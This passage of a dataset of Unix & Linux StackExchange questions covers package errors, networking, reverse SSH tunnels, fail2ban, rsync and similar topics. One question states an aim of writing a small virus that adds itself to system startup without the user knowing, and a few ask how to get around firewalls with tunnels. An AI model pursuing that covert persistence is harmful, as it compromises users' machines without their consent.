0.00000 0.8980 2009 150 0 0 0 0000 76.216 0.0400390625 0.00007 1.00000 0.9046 2009 150 0 0 0 0000 77.217 0.0400390625 0.00009 2.00000 0.9113 2009 150 0 0 0 0000 78.341 0.0400390625 0.00010 3.00000 0.9183 2009 150 2 0 0 0000 75.316 0.0400390625 0.00007 0.00000 0.8980 2009 150 2 0 0 0000 76.216 0.0400390625 0.00007 1.00000 0.9046 ....... I have been scratching my head on this for quite a while and cannot come up with a solution. Help would be appreciated. I know how to extract the text between keywords using flags but I am not sure if that is the right direction."} {"_id": "113707", "title": "yum install mod_auth_token not working on CentOS", "text": "On CentOS 6.5 how do I make `yum install mod_auth_token` work these days? According to my own HOWTO I wrote 12 months back, you used to be able to just type it now you have to DIY it, which is bad because my DIY is bad, and I get this: # cd # wget http://dl.fedoraproject.org/pub/epel/6/i386/mod_auth_token-1.0.5-2.el6.i686.rpm # rpm -Uvh mod_auth_token-1.0.5-2.el6.i686.rpm error: Failed dependencies: libc.so.6 is needed by mod_auth_token-1.0.5-2.el6.i686 libc.so.6(GLIBC_2.0) is needed by mod_auth_token-1.0.5-2.el6.i686 libc.so.6(GLIBC_2.1.3) is needed by mod_auth_token-1.0.5-2.el6.i686 libc.so.6(GLIBC_2.3) is needed by mod_auth_token-1.0.5-2.el6.i686 libc.so.6(GLIBC_2.4) is needed by mod_auth_token-1.0.5-2.el6.i686 # yum whatprovides libc.so.6 # yum install glibc-2.12-1.132.el6.i686 # rpm -Uvh mod_auth_token-1.0.5-2.el6.i686.rpm # yum install mod_auth_token-1.0.5-2.el6.i686.rpm # rpm -ql mod_auth_token /usr/lib/httpd/modules/mod_auth_token.so ls -l /etc/httpd/modules/ cp /usr/lib/httpd/modules/mod_auth_token.so /etc/httpd/modules/ but then I get this Starting httpd: httpd: Syntax error on line 202 of /etc/httpd/conf/httpd.conf: Cannot load /etc/httpd/modules/mod_auth_token.so into server: /etc/httpd/modules/mod_auth_token.so: wrong ELF class: ELFCLASS32 so obviously I have somehow got a 64 bit/32 bit error. A year ago (I wrote to myself that) you could simply do yum install mod_auth_token is there a way to do this so it works? the `mod_auth_toekn.so` needs to be in `/etc/httpd/modules/`"} {"_id": "4167", "title": "How to find files with names having a long string after the first dot", "text": "My Samsung Galaxy S doesn't like files where the name contains a long string after the first dot. I guess some part of the software has a too short buffer for the file extension. How can I find all files on my Micro-SD-Card mounted at /media/sd where the filename has more than five characters after the first dot? Reading the find manpage, I thought `find . -regex '.*\\\\..\\\\{5,\\\\}'` would work, but it doesn't give any hits, so I somehow don't get my regular expression right."} {"_id": "4165", "title": "OpenBSD: 32 bit or 64 bit", "text": "I would like to use the 64 bit version of OpenBSD, but I'm not really sure how good it works. Are there any known problems? Is the 32 bit version more recommended for productive environment?"} {"_id": "86069", "title": "Where should I keep personal files so they are safe across system re-installs?", "text": "I want to make sure that at the next system installation/restoration my files are not lost. Using tweakers I can change Window's default folders (e.g. move \"My documents\" from C: drive to D:). Right now I have Linux Mint 15 Mate installed on partition `/` and the rest of HDD mounted to `/home`. Is this right approach? If yes, how can I move default folders to this partition? If no, what is the best approach?"} {"_id": "86068", "title": "Network Manager error", "text": "When I run NetworkManager's applet, `nm-applet`, on my Scientific Linux 6.4, I get: [root@computer]# nm-applet > ** (nm-applet:4157): WARNING **: bus_init(): Could not get the session bus. > Make sure the message bus daemon is running! Message: Did not receive a > reply. Possible causes include: the remote application did not send a reply, > the message bus security policy blocked the reply, the reply timeout > expired, or the network connection was broken. > > GConf Error: Failed to contact configuration server; some possible causes > are that you need to enable TCP/IP networking for ORBit, or you have stale > NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for > information. (Details - 1: Failed to get connection to session: Did not > receive a reply. Possible causes include: the remote application did not > send a reply, the message bus security policy blocked the reply, the reply > timeout expired, or the network connection was broken.) > > An instance of nm-applet is already running. > > (nm-applet:4157): GConf-WARNING **: Directory > `/system/networking/connections' was not being monitored by GConfClient > 0x9cac60 When I pass the command `lspci -v` I get: 0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01) Subsystem: Dell Wireless 1397 WLAN Mini-Card Flags: bus master, fast devsel, latency 0, IRQ 17 Memory at f69fc000 (64-bit, non-prefetchable) [size=16K] Capabilities: [40] Power Management version 3 Capabilities: [58] Vendor Specific Information: Len=78 Capabilities: [e8] MSI: Enable- Count=1/1 Maskable- 64bit+ Capabilities: [d0] Express Endpoint, MSI 00 Capabilities: [100] Advanced Error Reporting Capabilities: [13c] Virtual Channel Capabilities: [160] Device Serial Number 18-6d-04-ff-ff-2c-70-1a Capabilities: [16c] Power Budgeting Kernel driver in use: b43-pci-bridge Kernel modules: ssb How can I fix this problem?"} {"_id": "111110", "title": "Log-me-in on Angstrom", "text": "Has anyone got Log-me-in Hamachi running on the Angstrom distribution? When I attempt to install it, it tells me I need the lsb package. I googled it and found that it is a package you can get rpm packages for. I tried to install the rpm packages, but obviously on Angstrom they don't work. I then tried to install `rpm2cpio` by installing `busybox` using `opkg`, but `busybox` on `opkg` does not have the program!"} {"_id": "86067", "title": "Quick and dirty way to edit scans", "text": "I've got a lot of documents that I want to scan that require only modest editing. Mainly trimming the edges, splitting in two (when I scan two pages in one scan), and possibly adjust the perspective like camscanner. **NOTE:** (You layout a quadrilangle, camscanner then adjusts the perspective so the quadriangle becomes a square). Gimp and a couple of other programs can do this, but it seems to me to be significant overkill. What other options are there for doing these tasks?"} {"_id": "86061", "title": "How to know why server keeps restarting?", "text": "It seems that my server keeps restarting. I want to know why. How can I know when the last time server was rebooted and why? root pts/0 139.193.156.125 Thu Aug 8 21:10 still logged in reboot system boot 2.6.32-358.11.1. Thu Aug 8 20:38 - 21:11 (00:33) reboot system boot 2.6.32-358.11.1. Thu Aug 8 20:15 - 21:11 (00:56) reboot system boot 2.6.32-358.11.1. Thu Aug 8 19:16 - 21:11 (01:55) reboot system boot 2.6.32-358.11.1. Thu Aug 8 18:56 - 21:11 (02:14) reboot system boot 2.6.32-358.11.1. Thu Aug 8 18:24 - 21:11 (02:47) root pts/1 139.193.156.125 Thu Aug 8 18:16 - crash (00:07) root pts/0 195.254.135.181 Thu Aug 8 18:10 - crash (00:13) reboot system boot 2.6.32-358.11.1. Thu Aug 8 17:52 - 21:11 (03:19) root pts/0 195.254.135.181 Thu Aug 8 17:38 - crash (00:13) reboot system boot 2.6.32-358.11.1. Thu Aug 8 17:08 - 21:11 (04:02) reboot system boot 2.6.32-358.11.1. Thu Aug 8 16:58 - 21:11 (04:12) reboot system boot 2.6.32-358.11.1. Thu Aug 8 16:45 - 21:11 (04:26) reboot system boot 2.6.32-358.11.1. Thu Aug 8 16:35 - 21:11 (04:36) reboot system boot 2.6.32-358.11.1. Thu Aug 8 16:27 - 21:11 (04:44) reboot system boot 2.6.32-358.11.1. Thu Aug 8 15:59 - 21:11 (05:12) reboot system boot 2.6.32-358.11.1. Thu Aug 8 06:15 - 21:11 (14:56) root pts/1 208.74.121.102 Wed Aug 7 06:03 - 06:04 (00:00) root pts/1 208.74.121.102 Tue Aug 6 15:34 - 17:40 (02:05) root pts/0 139.193.156.125 Tue Aug 6 11:28 - 04:40 (1+17:11) In Linux is there ANY WAY to know why the system rebooted? Specifically did high load cause it? If not that then What?"} {"_id": "111113", "title": "Mail queue keep growing", "text": "My server keeps running short on inodes due the mail queue getting crazy. First, I assumed I had `postfix` not configured properly, so I switched it off. But, it happened again, last time I did it I had : # postsuper -d ALL postsuper: Deleted: 375122 messages While I could put a cron to run this every morning, that does not seem to be the optimal solution. What could be the cause of such a behaviour? How can I prevent this too happen?"} {"_id": "154622", "title": "Landscape Printing in Linux", "text": "I'm having trouble printing in landscape mode in a Gentoo (AMD64) installation. The setup: CUPS-1.7.5 CUPS-Filters-1.0.54 ghostscript-gpl-9.14 proprietary brother drivers Printer: Brother DCP 7065dn It will not print in landscape in any application (LO, acroread, evince etc..), instead it is printing the proper image (e.g multiple pages are ordered as I would expect them to be in this mode) but in the wrong orientation. Brlaser (an alt. driver) doesn't offer duplex printing; and the printer works fine from a windows machine. In most applications I have no option of printer language, and in the ones which I do (namely acroread) it makes no difference. This seems to be something of an ongoing problem in Linux, not just with this setup. Has anyone been able to overcome the problem?"} {"_id": "86062", "title": "Pipeline each line of a file to a specific variable in a second command", "text": "I want to execute the following instruction: basex -bword=ENTRY consulta.xq But for every line of a SampleText file (plain text mainly). The SampleText contains the following lines: hello evening courageous ... happy So more or less what I want to do is to execute a instruction in a one liner recipe similar to this: cat SampleText | basex -bword=EACHLINE searchquery.xq"} {"_id": "115417", "title": "GTK Frontend for locate", "text": "I am a heavy user of the `locate` tool, which is part of the `findutils` package. It's fine to use it on command line, but sometimes I would also like to search for a file (as fast as with `locate`) within my Xfce 4.10 desktop. Is there any nice GTK frontend (or a panel applet) for the `locate` command?"} {"_id": "115411", "title": "Switch between tabs (panels) in Mint", "text": "How to switch between tabs (panels) in any window (i.e. setting windows for keyboard) in Linux Mint? I use `Ctrl`+`Tab` in Windows."} {"_id": "135089", "title": "Munin Server not making Graphs", "text": "On my Central Monitoring Server previously Munin 1.2.5 Server was installed. So now I update the server with latest Munin 2.0.21 and moved the files for `/var/www/html/munin` to new directory `/var/www/html/oldmunin` and did same for `/var/lib/munin/`. But the server is not generating any files, and this is the error I'm getting when I run `/usr/bin/munin-cron`. > Can't load '/usr/lib64/perl5/vendor_perl/5.8.8/x86_64-linux-thread- > multi/auto/RRDs/RRDs.so' for module RRDs: librrd.so.2: cannot open shared > object file: No such file or directory at > /usr/lib64/perl5/5.8.8/x86_64-linux-thread-multi/DynaLoader.pm line 230. at > /usr/lib/perl5/vendor_perl/5.8.8/Munin/Master/UpdateWorker.pm line 19 > Compilation failed in require at > /usr/lib/perl5/vendor_perl/5.8.8/Munin/Master/UpdateWorker.pm line 19. BEGIN > failed--compilation aborted at > /usr/lib/perl5/vendor_perl/5.8.8/Munin/Master/UpdateWorker.pm line 19. > Compilation failed in require at > /usr/lib/perl5/vendor_perl/5.8.8/Munin/Master/Update.pm line 17. BEGIN > failed--compilation aborted at > /usr/lib/perl5/vendor_perl/5.8.8/Munin/Master/Update.pm line 17. Compilation > failed in require at /usr/share/munin/munin-update line 14. BEGIN failed-- > compilation aborted at /usr/share/munin/munin-update line 14."} {"_id": "152584", "title": "ATI graphics card: Is proprietary firmware needed in any case?", "text": "I am trying for days now to enable 3d of my ATI X 1900 under Debian GNU/Linux 7.6. I installed the xserver-xorg-drivers-radeon package, however this does not work. Specifically, I receive a similar error message as the user here: How to configure FOSS ATI drivers on Debian Wheezy and ATI RS880 [Radeon HD 4250]? This is (drivers names etc. below are not mine, but similar): [ 8.121829] [drm] Loading RS780 Microcode [ 8.156063] r600_cp: Failed to load firmware \"radeon/RS780_pfp.bin\" [ 8.156092] [drm:r600_startup] *ERROR* Failed to load firmware! The hint usually given in the internet is to install the firmware-linux- nonfree package. So my question is: Do you in any case have to install proprietary firmware, even when using free dirvers? Isn't it possible to stay completely free?"} {"_id": "135080", "title": "Where is the ability to hibernate exposed on Linux?", "text": "When I boot with a `resume=..` option to the kernel and an `initrd` built with a `-h` option, userland tools (say, `batti`) offer me the choice of hibernation; when I boot without them it does not. Where is the fact that I have a system capable of hibernate/resume exposed for these tools to find that out? (This is on Slackware, in case this is init- specific.)"} {"_id": "115413", "title": "Ubuntu completely freezes, suspecting IDLE", "text": "Relatively inexperienced with both programming and linux so hopefully I'm missing something obvious. Running Ubuntu 12.04 on a Dell Latitude E5530 and haven't had any particular problems so far, but lately it has started freezing completely, forcing me to manually reset power. The only half-way demanding stuff I've done lately is some Python programming in IDLE, but nothing crazy at all (a single Selenium- operated Firefox instance basically). What do I do when this happens in Ubuntu?"} {"_id": "135084", "title": "Double rm verification in zsh", "text": "When I do a rm * in zsh, I get something like this: 2014-06-08 10:14:23 $ rm * zsh: sure you want to delete all the files in /home/assay/assay/log [yn]? y rm: remove regular file `development.log'? y First zsh asks me if I am sure I want to delete all, and then rm asks for for each specific file. How can I just have the zsh verification?"} {"_id": "135087", "title": "How do you implement totals from usage output generated by a program in a script so that they carry on sanely through repeated execution?", "text": "I have a script with a pipeline where the data is throttled by a program. Every 20 minutes, a throughput status is sent on _stderr_ , and I simply redirect this to a file: command | cstream -t -512k -T 1200 -B 64m 2>>/home/user/totals.log | command I could also send a SIGUSR1 signal to _cstream_ (`kill -s 10 PID`) and it would produce exactly the same output as when I set an interval like I did, and a line is added to the file. The idea is that you can set the interval and also query a status on demand. The output is formatted like this with a single whitespace character all over and terminated with a newline: ... 1931255808 B 1.8 GB 3683.6 s (1:01 h) 524289 B/s 512.00 KB/s 2560401408 B 2.4 GB 4883.6 s (1:21 h) 524289 B/s 512.00 KB/s 3189547008 B 3.0 GB 6083.6 s (1:41 h) 524289 B/s 512.00 KB/s 3818692608 B 3.6 GB 7283.6 s (2:01 h) 524289 B/s 512.00 KB/s 4447838208 B 4.1 GB 8483.6 s (2:21 h) 524289 B/s 512.00 KB/s 10829824 B 10.3 MB 20.65 s 524487 B/s 512.19 KB/s You can see the data progress but you couldn't just sum(or average) each column. There are just 2 events in this sample(lines 1-5, 6) i.e. I used the script twice. It just so happens here that we could add the two last lines - because I restarted it and we have a snapshot of that moment but that's arbitrary. Which leads to what happens when I exit the command and restart it, as you can see happening on the last line - the counter is of course reset. The objective is to have a cumulative total of the status output for all the instances of the script I launch over time. I usually never launch more than one instance of it at a time. So I'm thinking of adding to my script(\"sane\" for one instance of the script only): * First delete all but the last line of my log * Last, when the script exits, make it write its status to the log * Sum/avg each column of the first and last line * Delete all intermediary lines I'm afraid I can't connect the dots. What is the simplest and best way to design and implement what I want? Does the complexity overwhelm the benefit and should I just focus on manipulating the log data with a simple command as it fills up?"} {"_id": "94506", "title": "Dual monitor setup on a laptop: internal monitor peeking through on external display", "text": "Recently I began to use my laptop (Dell Inspiron N5020) with an external display. I use the displays side-by-side, internal on the left, external on the right. The problem is, however, that the display on the external monitor seems to be shifted to the right by a few pixels, and at the same time a few pixel wide column from the right edge of the internal display is duplicated on the left edge of the external. On a screenshot this is not visible. I illustrated what I'm actually talking about on this image: ![Illustration of the problem](http://i.imgur.com/pacMnzt.png) The type of the external monitor doesn't seem to matter. Same thing with a Medion 1680x1050 monitor with VGA connector, and a Dell U2311H through HDMI. Also I tried to set various resolution combinations, and it seems to only happen when the internal monitor is at its native resolution (which is 1366x768) (I have Linux Mint 15 x64 with Cinnamon.)"} {"_id": "46235", "title": "How does reverse SSH tunneling work?", "text": "As I understand this, firewalls (assuming default settings) deny all incoming traffic that has no prior corresponding outgoing traffic. Based on Reversing an ssh connection and SSH Tunneling Made Easy, reverse SSH tunneling can be used to get around pesky firewall restrictions. I would like to execute shell commands on a remote machine. The remote machine has its own firewall and is behind an additional firewall (router). It has an IP address like 192.168.1.126 (or something similar). I am not behind a firewall and I know the remote machine's IP address as seen from the Internet (not the 192.168.... address). Additionally, I can ask someone to execute `ssh (something)` as root on the remote machine first. Could anyone explain me, step by step, how reverse SSH tunneling works to get around the firewalls (local and remote machines' firewalls and the additional firewall between them)? What is the role of the switches (-R, -f, -L, -N)?"} {"_id": "133986", "title": "SSH: connect through intermediary server in just one step (through forwarded port)", "text": "Related question: initiate ssh connection from server to client I have intermediary server with public IP (let it be `SERVER`), and I need to establish connection between two computers (`A` and `B`) without public IP, through this intermediary server. So, to connect from `A` to `B`, I can now do this: B$ ssh -N -R 2222:localhost:22 server_user@SERVER and now, from `A`, I can connect to `B` in two steps: A$ ssh server_user@SERVER SERVER$ ssh -p 2222 b_user@localhost Or in one line, but there are two steps anyway: A$ ssh -t server_user@SERVER \"ssh -p 2222 b_user@localhost\" But, I can't connect in just one step, like this: A$ ssh -p 2222 b_user@SERVER ssh: connect to host SERVER port 2222: Connection refused Why is this, and how to make it work? Note: I don't have any firewall at the `SERVER`, so it should accept incoming connection at port `2222`, it seems."} {"_id": "19620", "title": "ssh port forward to access my home machine from anywhere", "text": "http://serverfault.com/questions/303937/how-to-make-freebsd-box-accessible- from-internet I want to understand this whole process of `port forwarding`. I read so many things but failing to understand the very basic concept of port forwarding it self. What I have: > a freebsd server sitting at my home. > netgear router This is what I am trying to achieve: > to be able to access freebsd server from a windows machine over internet to > be able to open a webbrowser and access internet. > > > I also want to access this freebsd box from a ubuntu machine that I have. It will be great if someone can please help me. **Edit:0** here is the netgear router setup that I did for portforwarding. ![netgear port forwarding](http://i.stack.imgur.com/KiPhu.png)"} {"_id": "82299", "title": "Accessing Apache server over the Internet", "text": "I'm trying to access my Apache server over the Internet. When I use my external IP to connect from a different system, my router's welcome page is displayed. How can I access the server?"} {"_id": "98726", "title": "Reverse connection to SSH server", "text": "Machine A is connected to the internet and is behind firewall so it cannot receive incoming connections. Machine B is open to the internet. I want to be able to type commands into B and have them execute on A. Except it is A that has to reach out to B to establish the connection before B can send it commands. Can this be done running SSHd on A and plain SSH client on B or do I need a combination of SSHd and SSH client on A (client to establish reverse tunnel pointing to SSHd)."} {"_id": "115897", "title": "What's ssh port forwarding and what's the difference between ssh local and remote port forwarding", "text": "I feel confused about ssh port forwarding and the difference between ssh local and remote port forwarding. Could you please explain them in detail and with examples? Thanks!"} {"_id": "120925", "title": "Socks5 server on Debian", "text": "I would like to setup socks proxy on my Debian VPS. I try to use squid but its to hard for me. I saw a Dante software and think about it. I would like to setup dante to work with the web browser and plug FoxyProxy. So on server (vps-> dante server) and on the client (Firefox + FoxyProxy-> socks5 (user + password)) It should be public access to the socks but allowed to use it with atentication. If not Dante, what other program? I need complete instructions on how to set up a publicly accessible server socks5 with authentication to works fine with the browser with the addition of FoxyProxy Can anyone help?"} {"_id": "43552", "title": "Unix without a GUI for old machine", "text": "I have been given my father's old computer, which currently runs Windows 95 and has a 133-MHz processor, a Pentium(r) according to \"My Computer\". It seems a shame to recycle it when it works so well (considering what it is), so I'd like to load some variant of Unix on it and learn some stuff. I happen to have a copy of \"Unix for Dummies\" 4th edition (copyright 1998), but it assumes someone has already set up Unix on the computer in question, so I need another source for this step. There are several existing questions on here about the Unix-on-old-computer thing (typically Linux), except for one major issue: I specifically want a Unix system **without a GUI** and I cannot for the life of me find simple instructions for getting that. There's people looking for GUIs for their Linux servers and people looking to temporarily remove the GUI, but nothing whatsoever about how to get an **old-school, pre-GUI Unix**. It's not going to be used as a server, but to pretend I'm in a long-gone decade doing programming, file-editing, etc. on my desktop with just text. So, **what Unix should I use, and how do I get it?** The very fact that I have to ask may mean I'm in over my head, but I have to start somewhere. P.S. The computer has an ethernet card but I'm fairly certain it has no means of using wifi, so it may remain disconnected from the Internet unless it becomes necessary to connect it. Edit: It has a CD-ROM drive, as well as a floppy drive, tape drive, and apparently one USB port. 96 MB of RAM. Total capacity of C drive is 1 GB."} {"_id": "43553", "title": "Why rootfs is mounted multiple times?", "text": "Here you can see two devices are mounted as root: $ df Filesystem 1K-blocks Used Available Use% Mounted on rootfs 29221788 18995764 8761244 69% / udev 10240 0 10240 0% /dev tmpfs 203260 2192 201068 2% /run /dev/disk/by-uuid/1d8879f2-9c47-4a72-9ef4-a6ecdd7a8735 29221788 18995764 8761244 69% / tmpfs 5120 0 5120 0% /run/lock tmpfs 406516 376 406140 1% /tmp tmpfs 406516 72 406444 1% /run/shm /dev/sda2 29225884 15019636 12741264 55% /home /dev/sda3 226881528 191247596 24275680 89% /opt ... However, I didn't specify UUID in /etc/fstab: proc /proc proc defaults 0 0 LABEL=debian / ext4 errors=remount-ro 0 1 LABEL=istore /mnt/istore ext4 defaults 0 0 LABEL=home /home ext4 defaults 0 2 ... I'd like to see mount info in \"/dev/xxx\" rather then \"/dev/disk/by-uuid/...\". Though mount by UUIDs have many advantages, but I prefer to the old style... It's also weired why there are two rootfs mount?"} {"_id": "120164", "title": "Boot Menu Fedora and Window 7", "text": "I have install Fedora 20 before, a few days ago , I just install Window 7, and now I can not boot to Fedora because I don't have a boot menu. Is there anyway to recover the Fedora boot menu, is there any free software to do it without using the Fedora CD to recover it."} {"_id": "154226", "title": "\"tar (child): Cannot connect to https: resolve failed\" when installing Bitmask", "text": "I am trying to install Bitmask on my system to get the riseup VPN running(https://help.riseup.net/en/vpn/how-to/linux), but as you can see, there are no packages for Fedora. I tried the compressed files you get by using curl as well as the direct download from the Bitmask site, but both give me this output while unpacking: tar xfj https://dl.bitmask.net/client/GNU/Linux/Bitmask-GNU/Linux64-latest.tar.bz2 tar (child): Cannot connect to https: resolve failed bzip2: Compressed file ends unexpectedly; perhaps it is corrupted? *Possible* reason follows. bzip2: Inappropriate ioctl for device Input file = (stdin), output file = (stdout) It is possible that the compressed file(s) have become corrupted. You can use the -tvv option to test integrity of such files. You can use the `bzip2recover' program to attempt to recover data from undamaged sections of corrupted files. tar: Child returned status 128 tar: Error is not recoverable: exiting now"} {"_id": "115418", "title": "Running F.lux (Flux) or Redshift with Multiple Monitors with Nvidia Optimus", "text": "I have tried installing F.lux and then Redshift, and configured them to run on multiple monitors with no success. I wonder if my setup, which includes Nvidia Optimus setup using Bumblebee could be the cause for this failure. Both programs seems to run fine on my laptop screen, but my external monitor via VGA does not adjust its color with my laptop screen. Has anyone had a similar experience, or been able to get a color adjustment program working on an external monitor using a Nvidia Optimus laptop? The Optimus situation has me configured to run the external monitor using `intel-virtual-output` and Xrandr on Nvidia's drivers, so I wonder if this situation has an effect on my ability to run the F.lux or Redshift programs. Here are some of the guides I followed: https://github.com/Kilian/f.lux-indicator-applet/issues/18 http://justgetflux.com/linux.html http://jonls.dk/redshift/ https://gist.github.com/bcomnes/4243805 I have a W520 ThinkPad with Intel 3000HD and Nvidia Quadro 1000M chipsets, running Ubuntu 13.10 (Saucy Salamander) and Windows 7 dual-boot."} {"_id": "147624", "title": "wget files by pattern only from specified directories recursively", "text": "I need to download on an hourly basis (sometimes more frequently), files which are being written in segments of 24 hours. The files I am interested in are in specific subdirectories which I am trying to specify with `-I list` but this doesn't work for some reason. If I don't specify directories the files I need download fine with the `-A acclist` option but I end up with lots of empty directories that are being created because they exist on the host. my current line reads: wget -np -nH --cut-dirs=X -c -N -r -l 0 \\ -I /dir1,/dir2,...,/some_dir -A acclist \\ http://hostname/X_sub_directories/ How do I download **only** the files I want and create **only** the directory hierarchy for those files?"} {"_id": "19634", "title": "Linux equivalent for Windows Startup", "text": "**Is there any way to add an application/script to the Linux startup so every time the system is on it executes** [i'm looking for some automated way, user should not add this by cron job or something like that]. Yeah you are right, i want to create a little cute virus :) and also want to know if it is possible."} {"_id": "120928", "title": "Is this what it looks like in the terminal on the client side when you are blocked out via fail2ban?", "text": "I am a new server admin. I just setup fail2ban on an ubuntu 12.04 VPS. I used this tutorial. Then I tried to login to the system via ssh from a friend's machine. It is showing \"operation timed out.\" It seems like this means fail2ban is working -- but I want to double check to be certain. Is this what it looks like on the client side when fail2ban has blocked your IP? Your SSH login times out because fail2ban/iptables does not allow it to initiate on the server side? $ ssh -p# user@IP user@IP's password: Permission denied, please try again. user@IP's password: Permission denied, please try again. user@IP's password: ^C $ ssh -p# user@IP ssh: connect to host IP port #: Operation timed out $ ssh -p# user@IP ssh: connect to host IP port #: Operation timed out"} {"_id": "74862", "title": "Linux Mint 14 system language turns into chinese. How can I switch back to English?", "text": "Today for testing purpose I installed KDE alongside Cinnamon in Linux Mint 14. Unfortunately, after that my system language switch to Chinese!!! All the menus and notification is in Chinese now!! How can I switch back to English?"} {"_id": "94501", "title": "Unable to login to Linux box running Xfce using LXDM login manager", "text": "I am running a Linux box with the `LXDM` login manager and Xfce as my desktop environment. Every time I login, this is the screen I get: ![enter image description here](http://i.stack.imgur.com/mh0Nh.png) If I enter the right password, the system logs me in without any problems. But if I enter the wrong password, after a few seconds, this is what I get: ![enter image description here](http://i.stack.imgur.com/78GEG.png) Because of this, I end up rebooting the whole machine so that I can get the input box to enter the correct password. Could someone please tell me how I might solve this issue? Or at least point me in the right direction?"} {"_id": "74865", "title": "LAMP Server setup for personal development", "text": "I am setting up a LAMP server in VirtualBox for personal development. This will be an Ubuntu Server 12.04 install, and I will be using Virtual Hosts for Drupal, Yii, and other small PHP apps. Ideally I'd like to avoid creating new Virtual Hosts in `/var/www` and instead opt for creating these under a `public_html` folder in my user's _home_ directory. Please bear in mind that this isn't a \" _Need Your Advice_ \" style question - instead I would like to know the following in helping me set this up properly: Is there any benefit in creating another user (non-root) that will \"host\" these apps in their home directory, or will the root user created in the setup process suffice? I realise I'm being a bit pedantic by asking this, but its based on a recommendation I saw on another site (can't remember the URL) for setting up a LAMP server for personal development. I imagine this is only critical in a production environment. I'm thinking in terms of permissions, security, etc. **EDIT** : Will I run into any issues using the root user to this end, or would I be safer creating a new non-root user? **EDIT2** : Please don't down-vote this post! I would really like some clarity on this as I'm still walking the Linux learning path :)"} {"_id": "19633", "title": "Which header defines the macro that specifies the machine architecture?", "text": "_Shorter version of question:_ Which C header contains the macro that corresponds to the machine architecture of the system (e.g., `__x86_64__`, `__ia64__`, `__mips__`?) _Longer version of question:_ I'd like to run the ganglia monitoring tools on a Tilera-based system that runs Linux. Ganglia doesn't currently have support for Tilera. To get this to work, I ned to modify a C function called machine_type_func that returns the machine architecture. The body of this function is determined at compile-time, it looks like this: g_val_t machine_type_func ( void ) { g_val_t val; #ifdef __i386__ snprintf(val.str, MAX_G_STRING_SIZE, \"x86\"); #endif #ifdef __x86_64__ snprintf(val.str, MAX_G_STRING_SIZE, \"x86_64\"); #endif ... return val; } I need to add the appropriate line for Tilera, but I don't know the name of the macro that specifies a Tilera-based system. I'm guessing this macro is defined in one of the standard Linux headers, but I don't know which one to look in."} {"_id": "17571", "title": "Vim markers and macros", "text": "Is there a way to make a macro operate up to a marker? I know if I do `5@a` my macro will operate on 5 lines. Example: set marker with `mc` record a macro with `qa` ... now what? Obviously `'c@a` just moves the cursor to the marker at c. I've tried buffers, `\"b'c`, but that just goes to the marker. I'm probably missing something very basic or just looking in the wrong places."} {"_id": "17573", "title": "What's the difference between tar.gz and tar.Z?", "text": "The downloads on this page, e.g. of NetCDF C/C++/Fortran 4.1.3, show `tar.Z` and `tar.gz` formats. The `tar.Z` doesn't even have a configure file in it. What is it used for?"} {"_id": "17572", "title": "What is the interaction of the rsync --size-only and --sparse options?", "text": "If I use `rsync` with the `\\--size-only` and `\\--sparse` options together, if a file already exists at the destination as a full file (otherwise the same) it's not overwritten. If I omit the `\\--size-only` option, the non-sparse file is overwritten with the sparse version. I _do_ want the file to be overwritten and I want to keep the `\\--size-only` option (unless I can be convinced that I don't). This is part of a script that gets run periodically. In the past, the `\\--sparse` option was not used and a lot of space has been wasted. How can I continue to use `\\--space-only` (and other options I haven't included here) and have the large files overwritten as the script does its work? A search-and-destroy mission would be too \"expensive\". I have tested this with `rsync` 3 in Ubuntu with ext3 and CentOS with ext4. The actual `rsync` is performed over an `ssh` connection. Note that in the following demonstration nothing changes about the source or destination files (size, times or contents) between runs of `rsync`. Demonstration: $ dd if=/dev/zero of=sparse.out bs=1 seek=1M count=1 1+0 records in 1+0 records out 1 byte (1 B) copied, 0.000307332 s, 3.3 kB/s $ stat sparse.out File: `sparse.out' Size: 1048577 Blocks: 16 IO Block: 4096 regular file Device: 802h/2050d Inode: 2377326 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ dennis) Gid: ( 1000/ dennis) Access: 2011-07-28 22:06:52.000000000 -0500 Modify: 2011-07-28 22:06:52.000000000 -0500 Change: 2011-07-28 22:06:52.000000000 -0500 $ du -h sparse.out 8.0K sparse.out $ rsync --size-only sparse.out sparse.out.rsync $ stat sparse.out.rsync File: `sparse.out.rsync' Size: 1048577 Blocks: 2064 IO Block: 4096 regular file Device: 802h/2050d Inode: 2377329 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ dennis) Gid: ( 1000/ dennis) Access: 2011-07-28 22:09:19.000000000 -0500 Modify: 2011-07-28 22:09:20.000000000 -0500 Change: 2011-07-28 22:09:20.000000000 -0500 $ du -h sparse.out.rsync 1.1M sparse.out.rsync $ rsync --size-only --sparse sparse.out sparse.out.rsync $ stat sparse.out.rsync File: `sparse.out.rsync' Size: 1048577 Blocks: 2064 IO Block: 4096 regular file Device: 802h/2050d Inode: 2377329 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ dennis) Gid: ( 1000/ dennis) Access: 2011-07-28 22:09:19.000000000 -0500 Modify: 2011-07-28 22:09:20.000000000 -0500 Change: 2011-07-28 22:09:20.000000000 -0500 $ du -h sparse.out.rsync 1.1M sparse.out.rsync $ rsync --sparse sparse.out sparse.out.rsync $ stat sparse.out.rsync File: `sparse.out.rsync' Size: 1048577 Blocks: 16 IO Block: 4096 regular file Device: 802h/2050d Inode: 2377330 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ dennis) Gid: ( 1000/ dennis) Access: 2011-07-28 22:11:23.000000000 -0500 Modify: 2011-07-28 22:11:23.000000000 -0500 Change: 2011-07-28 22:11:23.000000000 -0500 $ du -h sparse.out.rsync 8.0K sparse.out.rsync $ stat -c '%b %B %o %s' sparse.out sparse.out.rsync 16 512 4096 1048577 16 512 4096 1048577 $ cmp sparse5.out sparse5.out.rsync $"} {"_id": "17575", "title": "What Unix programs can I *not* install when I have a standard undergraduate directory account?", "text": "I'm an undergrad in the astrophysics department and I have access to the Red Hat Linux computers, but only from an undergrad account I tried installing matplotlib once, but it was a massive pain (and I had to do it with substantial assistance) I know that I can't install anything that absolutely has to change files that are below my user directory. But what portion of programs can I then not be able to install?"} {"_id": "17574", "title": "Is there a maximum size to the bash history file?", "text": "Can I increase the size of the command history in bash? Note that I use a Red Hat Linux computer in the undergraduate astrophysics department here (so I don't get that many privileges)."} {"_id": "17577", "title": "How to configure DUAL-WAN on a Linux/*BSD machine?", "text": "I have two internet connections. The cables from the two ISP's 